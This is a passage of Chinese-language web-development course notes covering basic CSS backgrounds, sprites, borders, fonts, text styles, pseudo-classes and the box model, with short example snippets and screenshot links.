&lt;p&gt;100%大小背景。（&lt;code&gt;background-size: 100% 100%;&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/29d252602c-image-20221110164846496-16988205363745.png&quot; alt=&quot;image-20221110164846496&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;background-position&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;背景图片在标签中的相对位置，默认在标签的左边0点处。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：用空格隔开，分别设置x、y方向的相对位置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;px单位&lt;/strong&gt;：具体到px单位的偏移。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;%单位&lt;/strong&gt;：以标签大小的占比计算。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;%单位&lt;/code&gt;仅在&lt;code&gt;background-size: auto&lt;/code&gt;时有效。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;background-position: 50% 50%;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;背景偏移。（&lt;code&gt;background-position: 50% 50%;&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a20f5df72e-image-20221110165222017-16988205406087.png&quot; alt=&quot;image-20221110165222017&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 精灵图&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;精灵图技术产生的目的：&lt;/p&gt;
&lt;p&gt;很多大型网页在首次加载的时候都需要加载很多的小图片，而考虑到在同一时间，服务器拥堵的情况下，为了解决这一问题，采用了精灵图这一技术来缓解加载时间过长从而影响用户体验的这个问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;精灵图技术的本质：&lt;/p&gt;
&lt;p&gt;所谓精灵图就是把很多的小图片合并到一张较大的图片里，所以在首次加载页面的时候，就不用加载过多的小图片，只需要加载出来将小图片合并起来的那一张大图片也就是精灵图即可，这样在一定程度上减少了页面的加载速度，也一定程度上缓解了服务器的压力。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 指定精灵图宽度为30px，位置在标签的最右边 */
background-image: url(&quot;./../imgs/sprite.png&quot;);
background-size: 30px auto; 
background-postion: 100% 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(四) 边框样式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;border-style&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定标签边框样式，若不指定则看不到。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：none、solid、dotted...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;none：无边框&lt;/li&gt;
&lt;li&gt;solid：实线&lt;/li&gt;
&lt;li&gt;dotted：虚线&lt;/li&gt;
&lt;li&gt;更多属性查看&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/CSS/border-style#%E6%A6%82%E8%BF%B0&quot;&gt;border-style | MDN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 设置边框实线 */
border-style:solid;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;border-width&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;边框宽度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;border-width:10px;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;border-color&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;边框颜色。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;border-color:#123456;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;border-radius&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;边框圆角，单个参数时，同时指定四个角；多个参数时，从左上角开始，顺时针按照参数顺序指定，没被指定的角则与对角相同。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;px单位&lt;/strong&gt;：指定具体圆角半径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;%单位&lt;/strong&gt;：通常指定50%，设置成一个圆。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 指定四个角 */
border-radius: 10px;
/* 指定左上、右上角，其余角与其对角相同 */
border-radius: 10px 15px;
/* 指定左上、右上、右下角，其余角与其对角相同 */
border-radius: 10px 15px 20px;
/* 分别指定4个角 */
border-radius: 10px 15px 20px 25px;
/* 指定一个圆 */
border-radius: 50%;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置边框：&lt;code&gt;border-style:solid;&lt;/code&gt;、&lt;code&gt;border-width:10px;&lt;/code&gt;、&lt;code&gt;border-color:#123456;&lt;/code&gt;、&lt;code&gt;border-radios: 10px 15px 20px 25px;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3b86818451-image-20221110170052552-16988205451969.png&quot; alt=&quot;image-20221110170052552&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(五) 字体样式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;font-family&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定文本的字体，前提是电脑中要有这个字体库，一般不会修改。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;font-family:&apos;宋体&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;font-size&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定文本的字体大小，单位为&lt;code&gt;px&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单词&lt;/strong&gt;：large、larger...&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;px单位&lt;/strong&gt;(常用)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;font-size: 24px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：浏览器一般默认为16px，能够显示的最小字体一般为10px&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;font-weight&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;字体粗细。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单词：normal、bold...&lt;/li&gt;
&lt;li&gt;数字：400、500...&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;font-weight:700;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置字体效果：&lt;code&gt;font-family:&apos;宋体&apos;;&lt;/code&gt;、&lt;code&gt;font-size: 24px;&lt;/code&gt;、&lt;code&gt;font-weight:700;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9b07e78a38-image-20221110170306145-169882054843511.png&quot; alt=&quot;image-20221110170306145&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(六) 文本样式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;text-decoration&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文本装饰，一般用于设置下划线、中划线、上划线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;underline：下划线&lt;/li&gt;
&lt;li&gt;line-through：中划线&lt;/li&gt;
&lt;li&gt;overline：上划线&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;text-decoration:underline;
text-decoration:line-through;
text-decoration:overline;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;text-align&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文本水平对齐方式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;left：左对齐&lt;/li&gt;
&lt;li&gt;center：居中&lt;/li&gt;
&lt;li&gt;right：右对齐&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;text-align:left;
text-align:center;
text-align:right;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;text-index&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文本首行缩进&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;px单位：以1像素为单位缩进。&lt;/li&gt;
&lt;li&gt;em单位：以1字为单位缩进。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 首行缩进10px */
text-index:10px;
/* 首行缩进2个字 */
text-index:2em;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;line-heigt&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文本行高，默认值（normal）1.5倍比文字高度。会增大行间距。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;px单位：以px为单位设置行高，若设置的高度和标签高度相同，会有&lt;strong&gt;垂直居中&lt;/strong&gt;的效果。&lt;/li&gt;
&lt;li&gt;em单位：以字为单位设置行高。&lt;/li&gt;
&lt;li&gt;数字：按照倍比设置行高。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 若文字所在标签的高度也为20px，则呈现垂直居中 */
line-height: 20px;
/* 1.5倍行高 */
line-height:1.5;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置文本效果：&lt;code&gt;text-indent: 2em;&lt;/code&gt;、&lt;code&gt;text-decoration: underline;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2d9dee455b-image-20221111140017063-169882055200913.png&quot; alt=&quot;image-20221111140017063&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(七) 伪类&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;选择器:hover&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;hover伪类，鼠标悬浮，指定样式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.btn:hover{
    background-color:blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;选择器:active&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;active伪类，鼠标点击时，指定样式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.btn:active{
    background-color:blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;特殊情况&lt;/strong&gt;：hover、active要更改别的元素样式，使用方式同&lt;strong&gt;子元素选择器&lt;/strong&gt;等综合选择器使用方式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;元素A和元素B是父子关系 ， 元素A选择器:hover  元素B选择器  {}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 改子级  用空格 */
.father:hover .child {
    background-color: blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;元素A和元素B是相邻关系 ， 元素A选择器:hover + 元素B选择器  {}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 改相邻  用+ */
.child:hover + .brother {
    background-color: blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;鼠标悬浮时，修改背景颜色。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3df1420d4a-image-20221111140652495-169882055528515.png&quot; alt=&quot;image-20221111140652495&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;选择器:nth-child()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;快读通过&lt;strong&gt;简单数学公式&lt;/strong&gt;，&lt;strong&gt;正序&lt;/strong&gt;只更改选择器匹配中的元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数字&lt;/strong&gt;：设置指定位置元素的样式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;n + a&lt;/strong&gt;：设置第a个元素的样式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;an + b&lt;/strong&gt;：设置符合表达式元素的样式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;匹配规则&lt;/strong&gt;：找到【目标选择器】的父级，再匹配【目标标签】在父级中的顺序值，符合&lt;code&gt;nth-child()&lt;/code&gt;公式结果值的标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：匹配计数起始，是以【选择器】目标所在父容器的&lt;strong&gt;第一个子元素&lt;/strong&gt;开始算。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 设置第二个起标签样式 */
div:nth-child(n + 2){
    color:blue;
}

/* 设置奇数个样式 */
div:nth-child(2n + 1){
    color:blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置奇数个文字样式为蓝色。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8f10a4d83d-image-20221111145103030-169882055799817.png&quot; alt=&quot;image-20221111145103030&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;选择器:nth-last-child()&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;快读通过&lt;strong&gt;简单数学公式&lt;/strong&gt;，&lt;strong&gt;逆序&lt;/strong&gt;只更改选择器匹配中的元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：同&lt;code&gt;nth-child()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;匹配规则&lt;/strong&gt;：同上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：同上&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(八) 伪元素&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;选择器::before&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;伪双标签元素，设置&lt;code&gt;before&lt;/code&gt;伪元素，可以在标签前添加内容，效果类似一个行内标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：必须写&lt;code&gt;content&lt;/code&gt;属性，值必须得是一个&lt;strong&gt;文本&lt;/strong&gt;或者&lt;strong&gt;空字符&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 在标签前显示文本 */
.title::before{
    content:&apos;这是个标题&apos;;
}
/* 在标签前显示图标等 */
.title::before{
    content:&apos;&apos;;
    height:10px;
    width:10px;
    background-image:url(&quot;./../imgs/icon.png&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;选择器::after&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;伪双标签元素，设置&lt;code&gt;after&lt;/code&gt;伪元素，可以在标签前添加内容，效果类似一个行内标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：必须写&lt;code&gt;content&lt;/code&gt;属性，值必须得是一个&lt;strong&gt;文本&lt;/strong&gt;或者&lt;strong&gt;空字符&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 在标签前显示文本 */
.title::after{
    content:&apos;这是个标题&apos;;
}
/* 在标签前显示图标等 */
.title::after{
    content:&apos;&apos;;
    height:10px;
    width:10px;
    background-image:url(&quot;./../imgs/icon.png&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;给目标元素加上&lt;code&gt;before&lt;/code&gt;伪类,填入红色文字。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/38978d9f4e-image-20221111145326516-169882056139419.png&quot; alt=&quot;image-20221111145326516&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要是对CSS的背景、边框、字体、文本、伪类进行介绍。这些属性都是CSS基础级别，日常开发中非常经常用到，也是需要大家主要去熟悉，使用的。其中伪类的知识点会比较抽象复杂，大家在使用的时候需要理清楚父子关系，层级关系。合理的在选择器上去绑定伪类属性，高效正确使用伪类。&lt;/p&gt;
&lt;h2&gt;CSS-02&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;css继承、盒子模型、float浮动、position定位、display&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;牢记盒子模型&lt;/li&gt;
&lt;li&gt;熟练使用position定位&lt;/li&gt;
&lt;li&gt;熟悉display&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;盒子模型&lt;/li&gt;
&lt;li&gt;position定位&lt;/li&gt;
&lt;li&gt;display&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;position定位&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) CSS继承&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;文字相关的样式默认被子元素继承&lt;/li&gt;
&lt;li&gt;布局相关的样式默认不能被继承（inherit）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;嵌套标签中，父级设置文本及布局样式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .page-container{
        color:#123456;
        font-size:24px;
        text-align:center;
        border:1px solid red;
    }
&amp;lt;/style&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;page-container&quot;&amp;gt;
        &amp;lt;!-- 文本样式会继承,其他不会 --&amp;gt;
        &amp;lt;div class=&quot;title&quot;&amp;gt;标题&amp;lt;/div&amp;gt;
        &amp;lt;span class=&quot;text&quot;&amp;gt;文本&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/70f68663b3-image-20230213170206599-169882056569121.png&quot; alt=&quot;image-20230213170206599&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(二) 盒子模型&lt;/h4&gt;
&lt;h5&gt;2.1 组成&lt;/h5&gt;
&lt;p&gt;每个标签都有一个盒子模型，有内容区、内边距、边框、外边距。&lt;/p&gt;
&lt;p&gt;从内到外：content -&amp;gt; padding -&amp;gt; border -&amp;gt; margin。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果没有设置&lt;code&gt;box-sizing&lt;/code&gt;属性，一个盒子的最终大小为content + padding + border，也是&lt;code&gt;background-color&lt;/code&gt;的区域。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/eaf0247620-image-20221018103144171-169882056912523.png&quot; alt=&quot;image-20221018103144171&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2.2 详情&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;content&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;标签的内容区域，用来盛放别的标签或者文本等内容。&lt;/p&gt;
&lt;p&gt;一般css设置的宽高就是这个区域。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;width&lt;/strong&gt;：宽&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;height&lt;/strong&gt;：高&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;padding&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内边距，内容到边框的距离。&lt;/p&gt;
&lt;p&gt;一般设置完后，由于padding占位，会撑大盒子模型。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定对应边内边距或者一次性指定所有内边距（单位：&lt;code&gt;px&lt;/code&gt; &lt;code&gt;%&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;padding-left&lt;/p&gt;
&lt;p&gt;padding-right&lt;/p&gt;
&lt;p&gt;padding-top&lt;/p&gt;
&lt;p&gt;padding-bottom&lt;/p&gt;
&lt;p&gt;padding&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参数个数，按【上 -&amp;gt; 右 -&amp;gt; 下 -&amp;gt; 左】顺时针顺序，没有指定到的边则和&lt;strong&gt;对边&lt;/strong&gt;相同。&lt;/p&gt;
&lt;p&gt;padding：上下    右左&lt;/p&gt;
&lt;p&gt;padding：上    右左    下&lt;/p&gt;
&lt;p&gt;padding：上    右    下    左&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.padding {
    /* 单参 */
    padding-left: 40px; 
    padding-right: 40px;
    padding-top: 40px;
    padding-bottom: 40px;
    padding: 10px; 
    
    /* 多参 从上开始  顺时针 哪边没有  去找对边补齐 */
    /* 两个参数  上下  右左 */
    padding: 10px 50px; 
    /* 三个参数  上  右左  下*/
    padding: 10px 50px 100px;
    /* 四个参数 上 右 下 左（顺时针）*/
    padding: 10px 50px 60px 20px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;border&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;边框样式，回顾上节课的【边框样式】，这里介绍边框宽度的参数写法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定对应边框或者一次性指定所有边框。&lt;/p&gt;
&lt;p&gt;border-left&lt;/p&gt;
&lt;p&gt;border-right&lt;/p&gt;
&lt;p&gt;border-top&lt;/p&gt;
&lt;p&gt;border-bottom&lt;/p&gt;
&lt;p&gt;border-width&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参数个数，按【上 -&amp;gt; 右 -&amp;gt; 下 -&amp;gt; 左】顺时针顺序，没有指定到的边则和&lt;strong&gt;对边&lt;/strong&gt;相同。&lt;/p&gt;
&lt;p&gt;border-width：上下    右左&lt;/p&gt;
&lt;p&gt;border-width：上    右左    下&lt;/p&gt;
&lt;p&gt;border-width：上    右    下    左&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;快速写法&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;border: 1px solid #123456
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;margin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;外边距，一般用来调整盒子之间的距离,参数写法与作用同padding。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;指定对应边框或者一次性指定所有边框。&lt;/p&gt;
&lt;p&gt;margin&lt;/p&gt;
&lt;p&gt;margin-left&lt;/p&gt;
&lt;p&gt;margin-right&lt;/p&gt;
&lt;p&gt;margin-top&lt;/p&gt;
&lt;p&gt;margin-bottom&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;参数个数，按【上 -&amp;gt; 右 -&amp;gt; 下 -&amp;gt; 左】顺时针顺序，没有指定到的边则和&lt;strong&gt;对边&lt;/strong&gt;相同。&lt;/p&gt;
&lt;p&gt;margin：上下    右左&lt;/p&gt;
&lt;p&gt;margin：上    右左    下&lt;/p&gt;
&lt;p&gt;margin：上    右    下    左&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.margin {
    /* 单参 */
    margin: 10px;
    margin-top: 20px; 
    margin-bottom: 20px; 
    margin-left: 20px; 
    margin-right: 20px; 
    margin: 10px; 
    
    /* 多参 从上开始  顺时针 哪边没有  去找对边补齐*/
    /* 两个参数  上下  右左 */
    margin: 10px 50px; 
    /* 三个参数  上  右左  下*/
    margin: 10px 50px 100px;
    /* 四个参数 上 右 下 左（顺时针）*/
    margin: 10px 50px 60px 20px; 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.3 补充&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;背景颜色会填充到margin以内的区域&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内容在content区域&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;box-sizing&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以改变盒子模型的展示形态&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;content-box&lt;/strong&gt;(默认值)&lt;/p&gt;
&lt;p&gt;width(宽)、height(高)，&lt;strong&gt;作用于content&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;border-box&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;width(宽、height(高)，&lt;strong&gt;作用于content padding border&lt;/strong&gt;，防止padding、border撑大盒子大小。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.box-sizing {
    /* 属性box-sizing，可以改变盒子模型的展示形态 */
    box-sizing: border-box;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
